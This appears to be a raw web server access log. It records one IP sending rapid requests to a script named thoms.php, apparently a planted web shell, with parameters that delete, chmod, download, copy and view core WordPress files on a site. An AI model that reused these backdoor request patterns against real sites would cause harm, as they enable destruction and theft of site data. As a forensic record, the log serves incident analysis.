45.135.193.11 - - [11/Sep/2026:23:42:47 -0400] "GET /thoms.php?del=class-wp-comment.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?del=class-wp-comment.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:47 -0400] "GET /thoms.php?chmod=script-loader.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11538 "http://163.245.207.76:443/thoms.php?chmod=script-loader.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:47 -0400] "GET /thoms.php?dl=post-formats.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59216 "http://163.245.207.76:443/thoms.php?dl=post-formats.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:47 -0400] "GET /thoms.php?chmod=vars.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11512 "http://163.245.207.76:443/thoms.php?chmod=vars.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:47 -0400] "GET /thoms.php?dl=rewrite.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?dl=rewrite.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:48 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-navigation-fallback.php HTTP/1.1" 200 14524 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-navigation-fallback.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:48 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-network.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11891 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-network.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:48 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=ms-default-constants.php HTTP/1.1" 200 13737 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=ms-default-constants.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:48 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=rest-api.php HTTP/1.1" 200 39861 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=rest-api.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:48 -0400] "GET /thoms.php?dl=formatting.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59223 "http://163.245.207.76:443/thoms.php?dl=formatting.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:48 -0400] "GET /thoms.php?chmod=functions.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11508 "http://163.245.207.76:443/thoms.php?chmod=functions.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:48 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fms-default-constants.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11879 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fms-default-constants.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:48 -0400] "GET /thoms.php?dl=class-wp-scripts.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?dl=class-wp-scripts.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:48 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fassets&p= HTTP/1.1" 200 12381 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fassets&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:49 -0400] "GET /thoms.php?chmod=PHPMailer&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11517 "http://163.245.207.76:443/thoms.php?chmod=PHPMailer&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:48 -0400] "GET /thoms.php?del=ms-default-filters.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59219 "http://163.245.207.76:443/thoms.php?del=ms-default-filters.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:48 -0400] "GET /thoms.php?del=registration-functions.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59226 "http://163.245.207.76:443/thoms.php?del=registration-functions.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:49 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-simplepie.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11878 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-simplepie.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:49 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-http-streams.php HTTP/1.1" 200 17491 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-http-streams.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:49 -0400] "GET /thoms.php?dl=class-walker-page-dropdown.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?dl=class-walker-page-dropdown.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:49 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-recovery-mode-cookie-service.php HTTP/1.1" 200 14241 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-recovery-mode-cookie-service.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:49 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Ffunctions.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11882 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Ffunctions.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:49 -0400] "GET /thoms.php?chmod=block-supports&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11518 "http://163.245.207.76:443/thoms.php?chmod=block-supports&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:50 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-widget.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11887 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-widget.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:50 -0400] "GET /thoms.php?del=class-wp-admin-bar.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59216 "http://163.245.207.76:443/thoms.php?del=class-wp-admin-bar.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:50 -0400] "GET /thoms.php?dl=class-wp-http-curl.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59204 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-curl.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:50 -0400] "GET /thoms.php?dl=class-wp-widget.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59243 "http://163.245.207.76:443/thoms.php?dl=class-wp-widget.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:50 -0400] "GET /thoms.php?chmod=feed-rss2.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=feed-rss2.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:50 -0400] "GET /thoms.php?dl=default-filters.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?dl=default-filters.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:50 -0400] "GET /thoms.php?chmod=class-simplepie.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11535 "http://163.245.207.76:443/thoms.php?chmod=class-simplepie.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:51 -0400] "GET /thoms.php?chmod=class-wp-site-query.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11538 "http://163.245.207.76:443/thoms.php?chmod=class-wp-site-query.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:50 -0400] "GET /thoms.php?del=block-i18n.json&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?del=block-i18n.json&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:51 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-text-diff-renderer-table.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11899 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-text-diff-renderer-table.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:51 -0400] "GET /thoms.php?del=class-wp-list-util.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59226 "http://163.245.207.76:443/thoms.php?del=class-wp-list-util.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:51 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-view-config-data.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11889 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-view-config-data.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:51 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-block-type-registry.php HTTP/1.1" 200 13466 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-block-type-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:51 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-customize-panel.php HTTP/1.1" 200 15495 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-customize-panel.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:51 -0400] "GET /thoms.php?chmod=class-wp-plugin-dependencies.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11540 "http://163.245.207.76:443/thoms.php?chmod=class-wp-plugin-dependencies.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:51 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fcompat-utf8.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fcompat-utf8.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:51 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=default-constants.php HTTP/1.1" 200 15416 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=default-constants.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:51 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=pluggable.php HTTP/1.1" 200 48139 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=pluggable.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:51 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes%2Fphp-ai-client HTTP/1.1" 200 13121 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes%2Fphp-ai-client" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:52 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-customize-widgets.php HTTP/1.1" 200 33045 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-customize-widgets.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:52 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-simplepie-sanitize-kses.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11891 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-simplepie-sanitize-kses.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:51 -0400] "GET /thoms.php?dl=class-http.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59175 "http://163.245.207.76:443/thoms.php?dl=class-http.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:52 -0400] "GET /thoms.php?dl=general-template.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?dl=general-template.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:52 -0400] "GET /thoms.php?chmod=ms-settings.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11531 "http://163.245.207.76:443/thoms.php?chmod=ms-settings.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:52 -0400] "GET /thoms.php?del=abilities.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?del=abilities.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:52 -0400] "GET /thoms.php?del=class-wp-customize-section.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59190 "http://163.245.207.76:443/thoms.php?del=class-wp-customize-section.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:52 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=pluggable-deprecated.php HTTP/1.1" 200 14078 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=pluggable-deprecated.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:53 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Frss-functions.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11885 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Frss-functions.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:53 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=theme-templates.php HTTP/1.1" 200 13611 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=theme-templates.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:53 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes%2Fcss HTTP/1.1" 200 20033 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes%2Fcss" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:53 -0400] "GET /thoms.php?dl=author-template.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59228 "http://163.245.207.76:443/thoms.php?dl=author-template.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:53 -0400] "GET /thoms.php?chmod=comment-template.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11533 "http://163.245.207.76:443/thoms.php?chmod=comment-template.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:53 -0400] "GET /thoms.php?del=class-wp-recovery-mode.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?del=class-wp-recovery-mode.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:53 -0400] "GET /thoms.php?dl=class-wp-taxonomy.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59179 "http://163.245.207.76:443/thoms.php?dl=class-wp-taxonomy.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:53 -0400] "GET /thoms.php?chmod=general-template.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11532 "http://163.245.207.76:443/thoms.php?chmod=general-template.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:53 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fms-site.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11843 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fms-site.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:54 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Frest-api.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11883 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Frest-api.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:54 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-metadata-lazyloader.php HTTP/1.1" 200 14113 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-metadata-lazyloader.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:54 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-navigation-fallback.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11916 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-navigation-fallback.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:54 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=post-thumbnail-template.php HTTP/1.1" 200 14729 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=post-thumbnail-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:54 -0400] "GET /thoms.php?dl=class-wp-styles.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59207 "http://163.245.207.76:443/thoms.php?dl=class-wp-styles.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:54 -0400] "GET /thoms.php?del=template-canvas.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?del=template-canvas.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:42:54 -0400] "GET /thoms.php?dl=category.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?dl=category.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
